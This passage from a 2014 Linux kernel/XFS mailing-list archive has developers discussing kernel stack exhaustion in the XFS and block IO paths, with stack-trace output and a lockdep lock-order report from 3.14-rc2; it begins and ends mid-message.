bytes left > [ 689.503970] fs_mark (5265) used greatest stack depth: 1000 bytes left > > We've got absolutely no spare stack space anymore in the IO path. > And the IO path can't get much simpler than filesystem -> virtio > block device. Ugh, that's bad. A thousand bytes of stack space is much too close to any limits. Do you have the stack traces for these things so that we can look at worst offenders? If the new block-mq code is to blame, it needs to be fixed. __virtblk_add_req() has a 300-byte stack frame, it seems. Looking elsewhere, blkdev_issue_discard() has 350 bytes of stack frame, but is hopefully not in any normal path - online discard is moronic, and I'm assuming XFS doesn't do that. There's a lot of 200+ byte stack frames in block/blk-core.s, and they all seem to be of the type perf_trace_block_buffer() - things created with DECLARE_EVENT_CLASS(), afaik. Why they all have 200+ bytes of frame, I have no idea. That sounds like a potential disaster too, although hopefully it's mostly leaf functions - but leaf functions *deep* in the callchain. Tejun? Steven, why _do_ they end up with such huge frames? And if the stack use comes from the VFS layer, we can probably work on that too. But I don't think that has really changed much lately.. Linus From david@fromorbit.com Wed Feb 12 01:18:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 070857F50 for ; Wed, 12 Feb 2014 01:18:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 97AF1AC00D for ; Tue, 11 Feb 2014 23:18:38 -0800 (PST) X-ASG-Debug-ID: 1392189513-04bdf0121d2f65a0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id bDERnUrjuEEq23Q7 for ; Tue, 11 Feb 2014 23:18:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnEHADMf+1J5LJLw/2dsb2JhbABagwy6ZYVQgQ4XdIIlAQEEATocIwULCAMYCSUPBSUDIROHfQfJJRcWjmMHgySBFASYKYpPh1KDQSg Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 17:48:32 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDU5V-0008RG-9L; Wed, 12 Feb 2014 18:18:29 +1100 Date: Wed, 12 Feb 2014 18:18:29 +1100 From: Dave Chinner To: Linus Torvalds Cc: Al Viro , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212071829.GE13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392189513 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 10:28:12PM -0800, Linus Torvalds wrote: > On Tue, Feb 11, 2014 at 9:40 PM, Dave Chinner wrote: > > > > None of the XFS code disables interrupts in that path, not does is > > call outside XFS except to dispatch IO. The stack is pretty deep at > > this point and I know that the standard (non stacked) IO stack can > > consume >3kb of stack space when it gets down to having to do memory > > reclaim during GFP_NOIO allocation at the lowest level of SCSI > > drivers. Stack overruns typically show up with symptoms like we are > > seeing. > > That would also explain why it shows up for do_coredump(), even though > clearly interrupts are not disabled at that point. It's just because > do_coredump() opens a filename at a deeper point in the stack than the > more normal system call paths do. Right, it's exactly the same problem we have when knfsd is making the VFS calls. > It looks like just "do_signal()" has a stack frame that is about 230 > bytes even under normal circumstancs (largely due to "struct ksignal" > - which in turn is largely due to the insane 128-byte padding in > siginfo_t). Add a few other frames in there, and I guess that if it > was close before, the coredump path just makes it go off. Yup. But it's when you see this sort of thing you realise that almost no GFP_KERNEL memory allocation is really safe from stack overruns, though: 0) 6064 64 update_group_power+0x2c/0x270 1) 6000 384 find_busiest_group+0x10a/0x8b0 2) 5616 288 load_balance+0x165/0x870 3) 5328 96 idle_balance+0x106/0x1b0 4) 5232 112 __schedule+0x7b6/0x7e0 5) 5120 16 schedule+0x29/0x70 6) 5104 176 percpu_ida_alloc+0x1b3/0x3d0 7) 4928 32 blk_mq_wait_for_tags+0x1f/0x40 8) 4896 80 blk_mq_alloc_request_pinned+0x4e/0x110 9) 4816 128 blk_mq_make_request+0x42b/0x510 10) 4688 48 generic_make_request+0xc0/0x110 11) 4640 96 submit_bio+0x71/0x120 12) 4544 192 _xfs_buf_ioapply+0x2cc/0x3b0 13) 4352 48 xfs_buf_iorequest+0x6f/0xc0 14) 4304 32 xlog_bdstrat+0x23/0x60 15) 4272 96 xlog_sync+0x3a4/0x5c0 16) 4176 48 xlog_state_release_iclog+0x121/0x130 17) 4128 192 xlog_write+0x700/0x7c0 18) 3936 192 xlog_cil_push+0x2ae/0x3d0 19) 3744 128 xlog_cil_force_lsn+0x1b8/0x1e0 20) 3616 144 _xfs_log_force_lsn+0x7c/0x300 21) 3472 48 xfs_log_force_lsn+0x3b/0xa0 22) 3424 112 xfs_iunpin_wait+0xd7/0x160 23) 3312 80 xfs_reclaim_inode+0xd0/0x350 24) 3232 432 xfs_reclaim_inodes_ag+0x277/0x3d0 25) 2800 48 xfs_reclaim_inodes_nr+0x33/0x40 26) 2752 16 xfs_fs_free_cached_objects+0x15/0x20 27) 2736 80 super_cache_scan+0x169/0x170 28) 2656 160 shrink_slab_node+0x133/0x290 29) 2496 80 shrink_slab+0x122/0x160 30) 2416 112 do_try_to_free_pages+0x1de/0x360 31) 2304 192 try_to_free_pages+0x110/0x190 32) 2112 256 __alloc_pages_nodemask+0x5a2/0x8e0 33) 1856 80 alloc_pages_current+0xb2/0x170 34) 1776 64 new_slab+0x265/0x2e0 35) 1712 240 __slab_alloc+0x2fb/0x4c4 36) 1472 80 kmem_cache_alloc+0x10b/0x140 That's almost 4700 bytes of stack usage from the kmem_cache_alloc(GFP_KERNEL) call because it entered the IO path. Yes, it's an extreme case, but if you're looking for a smoking gun.... :/ I can fix this one easily - we already have a workqueue for doing async log pushes (will split the stack between xlog_cil_force_lsn and xlog_cil_push), but the reason we haven't used it for synchronous log forces is that screws up fsync performance on CFQ. We don't recommend CFQ with XFS anyway, so I think I'll make this change anyway. > And some of the debug options that I'm sure DaveJ has enabled tend to > make the stack usage worse (simply because they make a lot of data > structures bigger). True - CONFIG_XFS_DEBUG tends to add about 5% to the stack usage of XFS, but realistically 5% is not significant especially as we've been hitting stack overflows with XFS on production systems regularly enough on x86-64 over the past 2-3 years that we know what "typical symptoms" of such overflows are... The problem we have now is that everything outside XFS continues to grow in stack usage, so the only choice that remains for us to avoid overruns is to add performance impacting stack switches into the middle of common XFS paths. We also have to do it unconditionally because we don't know ahead of time if any specific operation is going to require all the stack we can give it because - for example - we can't predict when the IO path is going to require memory allocation... Cheers, Dave. -- Dave Chinner david@fromorbit.com From lists@nerdbynature.de Wed Feb 12 02:12:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=FROM_12LTRDOM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 723BD7F50 for ; Wed, 12 Feb 2014 02:12:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 52D17304070 for ; Wed, 12 Feb 2014 00:12:01 -0800 (PST) X-ASG-Debug-ID: 1392192718-04cb6c6de02db420001-NocioJ Received: from trent.utfs.org (trent.utfs.org [94.185.90.103]) by cuda.sgi.com with ESMTP id pbemzRG0oyl44Pde for ; Wed, 12 Feb 2014 00:11:59 -0800 (PST) X-Barracuda-Envelope-From: lists@nerdbynature.de X-Barracuda-Apparent-Source-IP: 94.185.90.103 Received: by trent.utfs.org (Postfix, from userid 8) id 027D83DB40; Wed, 12 Feb 2014 09:11:57 +0100 (CET) Received: from trent.utfs.org (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 982363DB33 for ; Wed, 12 Feb 2014 09:11:56 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 704893DAF9 for ; Wed, 12 Feb 2014 09:11:56 +0100 (CET) Date: Wed, 12 Feb 2014 00:11:56 -0800 (PST) From: Christian Kujau To: xfs@oss.sgi.com Subject: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected Message-ID: X-ASG-Orig-Subj: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected User-Agent: Alpine 2.19.4 (DEB 40 2013-11-18) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-AV-Checked: ClamAV using ClamSMTP (127.0.0.1) X-Barracuda-Connect: trent.utfs.org[94.185.90.103] X-Barracuda-Start-Time: 1392192718 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- After upgrading from 3.13-rc8 to 3.14-rc2 on this PowerPC G4 machine, this happened: ====================================================== [ INFO: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected ] 3.14.0-rc2 #1 Not tainted ------------------------------------------------------ rm/9206 [HC0[0]:SC0[0]:HE1:SE1] is trying to acquire: (&mm->mmap_sem){++++++}, at: [] might_fault+0x58/0xa0 and this task is already holding: (&(&ip->i_lock)->mr_lock){++++-.}, at: [] xfs_ilock_data_map_shared+0x28/0x74 which would create a new lock dependency: (&(&ip->i_lock)->mr_lock){++++-.} -> (&mm->mmap_sem){++++++} but this new dependency connects a RECLAIM_FS-irq-safe lock: (&(&ip->i_lock)->mr_lock){++++-.} ... which became RECLAIM_FS-irq-safe at: [] lock_acquire+0x4c/0x68 [] down_write_nested+0x50/0x9c [] xfs_reclaim_inode+0x108/0x31c [] xfs_reclaim_inodes_ag+0x1b4/0x35c [] xfs_reclaim_inodes_nr+0x38/0x4c [] super_cache_scan+0x148/0x150 [] shrink_slab_node+0x134/0x224 [] shrink_slab+0x124/0x13c [] kswapd+0x460/0x77c [] kthread+0xbc/0xd0 [] ret_from_kernel_thread+0x5c/0x64 to a RECLAIM_FS-irq-unsafe lock: (&mm->mmap_sem){++++++} ... which became RECLAIM_FS-irq-unsafe at: ... [] lockdep_trace_alloc+0x84/0x104 [] __alloc_pages_nodemask+0x88/0x6b4 [] pte_alloc_one+0x30/0x90 [] __pte_alloc+0x20/0xf4 [] move_page_tables+0x2a0/0x2c4 [] setup_arg_pages+0x20c/0x2c8 [] load_elf_binary+0x378/0x1234 [] search_binary_handler+0x98/0x1c8 [] do_execve+0x484/0x574 [] try_to_run_init_process+0x18/0x58 [] kernel_init+0xac/0x104 [] ret_from_kernel_thread+0x5c/0x64 [...] Full dmesg & .config: http://nerdbynature.de/bits/3.14-rc2/ Thanks, Christian. -- BOFH excuse #17: fat electrons in the lines From htejun@gmail.com Wed Feb 12 02:13:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C2DD97F50 for ; Wed, 12 Feb 2014 02:13:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3527FAC00D for ; Wed, 12 Feb 2014 00:13:38 -0800 (PST) X-ASG-Debug-ID: 1392192816-04cbb00c282d6650001-NocioJ Received: from mail-qc0-f174.google.com (mail-qc0-f174.google.com [209.85.216.174]) by cuda.sgi.com with ESMTP id o08TN21iDqJBY9ML (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 12 Feb 2014 00:13:37 -0800 (PST) X-Barracuda-Envelope-From: htejun@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] Received: by mail-qc0-f174.google.com with SMTP id x13so14862570qcv.33 for ; Wed, 12 Feb 2014 00:13:36 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=h6JiQsdmAsH1c2ZWvC3Cv5OrudyLBPk/C7kyWMnsjZg=; b=OYMnLco96fpF+5Qit2Uzijg52Rf6B1Ap/mnd/H/kXfVBlvOEoegD7R/enuwsGcE8Yi cHEXwiumRjDNTBkzgy+hbbsQXk8tD0s3lOPEEY0F2e1q+fx1mD6GfqX9MuPb83Xldya2 SdGZrVT3zCFez3FOruNs1oGoSuOq5bJ9rZY+Vr87M4s0C51bJpJIaYPEzxzNzodgGNWR qbQF65jLkCJbyyb2nE3MsYRRritF1k9osPzejGrAbxrndExqj515j4r6h2SXQTC4OiOo ZL1LwatTrLbJHKFzdCNtuBcnf5LHLmTmwpbeopBOf4Sni4KzpBX0kB9kp0dpSXhAqBzh S1TA== X-Received: by 10.140.20.17 with SMTP id 17mr61862560qgi.28.1392192816590; Wed, 12 Feb 2014 00:13:36 -0800 (PST) Received: from mtj.dyndns.org (207-38-225-25.c3-0.43d-ubr1.qens-43d.ny.cable.rcn.com. [207.38.225.25]) by mx.google.com with ESMTPSA id j50sm32684081qgf.14.2014.02.12.00.13.34 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 12 Feb 2014 00:13:35 -0800 (PST) Sender: Tejun Heo Date: Wed, 12 Feb 2014 03:13:33 -0500 From: Tejun Heo To: Linus Torvalds Cc: Dave Chinner , Jens Axboe , Steven Rostedt , Dave Jones , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212081333.GC7984@mtj.dyndns.org> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> <20140212063150.GD13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qc0-f174.google.com[209.85.216.174] X-Barracuda-Start-Time: 1392192816 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 11, 2014 at 10:59:58PM -0800, Linus Torvalds wrote: > There's a lot of 200+ byte stack frames in block/blk-core.s, and they > all seem to be of the type perf_trace_block_buffer() - things created > with DECLARE_EVENT_CLASS(), afaik. Why they all have 200+ bytes of > frame, I have no idea. That sounds like a potential disaster too, > although hopefully it's mostly leaf functions - but leaf functions > *deep* in the callchain. Tejun? Steven, why _do_ they end up with such > huge frames? It looks like they're essentially the same for all the automatically generated trace functions. I'm seeing 232 byte stack frame in most of them. If I'm not completely confused by these macros, these are generated by DECLARE_EVENT_CLASS() in include/trace/ftrace.h and contains struct pt_regs in the stack frame which is already 168 bytes, so that seems like the culprit. No idea whether this is something avoidable. At least they shouldn't nest in any way. Steven? Thanks. -- tejun From lists@nerdbynature.de Wed Feb 12 02:22:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 517EC7F50 for ; Wed, 12 Feb 2014 02:22:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C685DAC013 for ; Wed, 12 Feb 2014 00:22:23 -0800 (PST) X-ASG-Debug-ID: 1392193341-04cb6c6de12dbf80001-NocioJ Received: from trent.utfs.org (trent.utfs.org [94.185.90.103]) by cuda.sgi.com with ESMTP id bAUyqXFP6KexcML7 for ; Wed, 12 Feb 2014 00:22:21 -0800 (PST) X-Barracuda-Envelope-From: lists@nerdbynature.de X-Barracuda-Apparent-Source-IP: 94.185.90.103 Received: by trent.utfs.org (Postfix, from userid 8) id C34623DB5F; Wed, 12 Feb 2014 09:22:20 +0100 (CET) Received: from trent.utfs.org (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 68EF43DB2F; Wed, 12 Feb 2014 09:22:18 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 4FC043DAD3; Wed, 12 Feb 2014 09:22:18 +0100 (CET) Date: Wed, 12 Feb 2014 00:22:18 -0800 (PST) From: Christian Kujau To: xfs@oss.sgi.com cc: Hugh Dickins Subject: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected In-Reply-To: X-ASG-Orig-Subj: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected Message-ID: References: User-Agent: Alpine 2.19.4 (DEB 40 2013-11-18) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-AV-Checked: ClamAV using ClamSMTP (127.0.0.1) X-Barracuda-Connect: trent.utfs.org[94.185.90.103] X-Barracuda-Start-Time: 1392193341 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, 12 Feb 2014 at 00:11, Christian Kujau wrote: > After upgrading from 3.13-rc8 to 3.14-rc2 on this PowerPC G4 machine, this > happened: > > ====================================================== > [ INFO: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected ] > 3.14.0-rc2 #1 Not tainted > ------------------------------------------------------ Would this be related to the "mmotm 2014-02-05 list_lru_add lockdep splat" Hugh posted[0] a few days ago? Christian. [0] https://lkml.org/lkml/2014/2/5/878 > rm/9206 [HC0[0]:SC0[0]:HE1:SE1] is trying to acquire: > (&mm->mmap_sem){++++++}, at: [] might_fault+0x58/0xa0 > > and this task is already holding: > (&(&ip->i_lock)->mr_lock){++++-.}, at: [] > xfs_ilock_data_map_shared+0x28/0x74 > which would create a new lock dependency: > (&(&ip->i_lock)->mr_lock){++++-.} -> (&mm->mmap_sem){++++++} > > but this new dependency connects a RECLAIM_FS-irq-safe lock: > (&(&ip->i_lock)->mr_lock){++++-.} > ... which became RECLAIM_FS-irq-safe at: > [] lock_acquire+0x4c/0x68 > [] down_write_nested+0x50/0x9c > [] xfs_reclaim_inode+0x108/0x31c > [] xfs_reclaim_inodes_ag+0x1b4/0x35c > [] xfs_reclaim_inodes_nr+0x38/0x4c > [] super_cache_scan+0x148/0x150 > [] shrink_slab_node+0x134/0x224 > [] shrink_slab+0x124/0x13c > [] kswapd+0x460/0x77c > [] kthread+0xbc/0xd0 > [] ret_from_kernel_thread+0x5c/0x64 > > to a RECLAIM_FS-irq-unsafe lock: > (&mm->mmap_sem){++++++} > ... which became RECLAIM_FS-irq-unsafe at: > ... [] lockdep_trace_alloc+0x84/0x104 > [] __alloc_pages_nodemask+0x88/0x6b4 > [] pte_alloc_one+0x30/0x90 > [] __pte_alloc+0x20/0xf4 > [] move_page_tables+0x2a0/0x2c4 > [] setup_arg_pages+0x20c/0x2c8 > [] load_elf_binary+0x378/0x1234 > [] search_binary_handler+0x98/0x1c8 > [] do_execve+0x484/0x574 > [] try_to_run_init_process+0x18/0x58 > [] kernel_init+0xac/0x104 > [] ret_from_kernel_thread+0x5c/0x64 > [...] > > Full dmesg & .config: http://nerdbynature.de/bits/3.14-rc2/ > > Thanks, > Christian. > -- > BOFH excuse #17: > > fat electrons in the lines -- BOFH excuse #17: fat electrons in the lines From david@fromorbit.com Wed Feb 12 02:35:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EF5647F50 for ; Wed, 12 Feb 2014 02:35:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CA772304070 for ; Wed, 12 Feb 2014 00:35:53 -0800 (PST) X-ASG-Debug-ID: 1392194149-04cb6c6de02dce60001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id IIk8BTBwniRyLkBJ for ; Wed, 12 Feb 2014 00:35:50 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnEHAAoy+1J5LJLw/2dsb2JhbABagwy6ZIVQgQ8XdIIlAQEEAScTHCMFCwgDGAklDwUlAyETh30HySkXFo4BCwYBUAeDJIEUBJgpik+HUoNBKIEtCBc Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 19:05:25 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDVHl-0000BQ-A0; Wed, 12 Feb 2014 19:35:13 +1100 Date: Wed, 12 Feb 2014 19:35:13 +1100 From: Dave Chinner To: Linus Torvalds Cc: Jens Axboe , Tejun Heo , Steven Rostedt , Dave Jones , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212083513.GF13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> <20140212063150.GD13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392194149 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Tue, Feb 11, 2014 at 10:59:58PM -0800, Linus Torvalds wrote: > On Tue, Feb 11, 2014 at 10:31 PM, Dave Chinner wrote: > > > > FYI, just creating lots of files with open(O_CREAT): > > > > [ 348.718357] fs_mark (4828) used greatest stack depth: 2968 bytes left > > [ 348.769846] fs_mark (4814) used greatest stack depth: 2312 bytes left > > [ 349.777717] fs_mark (4826) used greatest stack depth: 2280 bytes left > > [ 418.139415] fs_mark (4928) used greatest stack depth: 1936 bytes left > > [ 460.492282] fs_mark (4993) used greatest stack depth: 1336 bytes left > > [ 544.825418] fs_mark (5104) used greatest stack depth: 1112 bytes left > > [ 689.503970] fs_mark (5265) used greatest stack depth: 1000 bytes left > > > > We've got absolutely no spare stack space anymore in the IO path. > > And the IO path can't get much simpler than filesystem -> virtio > > block device. > > Ugh, that's bad. A thousand bytes of stack space is much too close to > any limits. > > Do you have the stack traces for these things so that we can look at > worst offenders? Sure. It's almost through the XFS block allocation path where we do metadata reads or log writes. That's always been the worst case stack usage path for XFS. The worst path is about 4800 bytes - it was a double btree split (inode extent map tree split, followed by a freespace btree split when allocating a block for the extent map btree split), triggering a reallocation of a btree block that was pinned and STALE, which triggered a log force, which then made it's way into the block layer. I don't have a stack trace of that because I can't create the initial conditions required to trigger it on demand. I've only ever seen it in the wild once. More common, though, is the situation we see here - somewhere around 3-4k of stack usage from a single extent btree update operation. We've already got a stack switch in the data allocation path - we had to add it to stop the bdi-flusher from busting the stack with alarming regularity in production systems. I initially made the metadata allocation paths use it as well, but that part got reverted (aa29284 xfs: don't defer metadata allocation to the workqueue) because Mel Gorman demonstrated several workloads that regressed significantly as a result of making that change. So now we are stuck betweeen a rock and a hard place - those metadata block allocation paths are triggering the stack overflows, but switching stacks in the allocation path to avoid stack overflows causes massive performance regressions.... The thing is, the XFS stack usage has not changed significantly over the past 5 years - we keep a pretty close eye on it. The issue is that everything around XFS has slowly been growing and I can't point you at one stack trace that demonstrates the worst case. What I can point you to function calls that consume a lot of stack space and hence limit what is available to callers. So here's a few stack fragements I've generated in teh past few minutes on a couple of XFS filesystems inside a 16p/16GB VM by running: $ dd if=/dev/zero of=/mnt/test/foo bs=1024k & which writes at about 600MB/s to a 18TB RAID array. That runs in parallel with a multithreaded inode creation/walk/remove workload on a different filesystem (creates 50 million inodes ~250k inode creates/s, walks them removes them at around 170k removes/s) which is hosted on a dm RAID0 stripe of 2 samsung 840 EVO SSDs. mutex_lock() requires at least 1.2k of stack because of the scheduler overhead.: $ sudo cat /sys/kernel/debug/tracing/stack_trace Depth Size Location (39 entries) ----- ---- -------- 0) 4368 64 update_group_power+0x2c/0x270 1) 4304 384 find_busiest_group+0x10a/0x8b0 2) 3920 288 load_balance+0x165/0x870 3) 3632 96 idle_balance+0x106/0x1b0 4) 3536 112 __schedule+0x7b6/0x7e0 5) 3424 16 schedule+0x29/0x70 6) 3408 16 schedule_preempt_disabled+0xe/0x10 7) 3392 112 __mutex_lock_slowpath+0x11a/0x400 8) 3280 32 mutex_lock+0x1e/0x32 i.e. any function that is going to schedule needs at least 1k of stack, and some of the lead in infrastructure (like wait_for_completion) can require a total of up to 1.5k... Basic memory allocation can easily >1k of stack without entering reclaim: ----- ---- -------- 0) 4920 40 zone_statistics+0xbd/0xc0 1) 4880 256 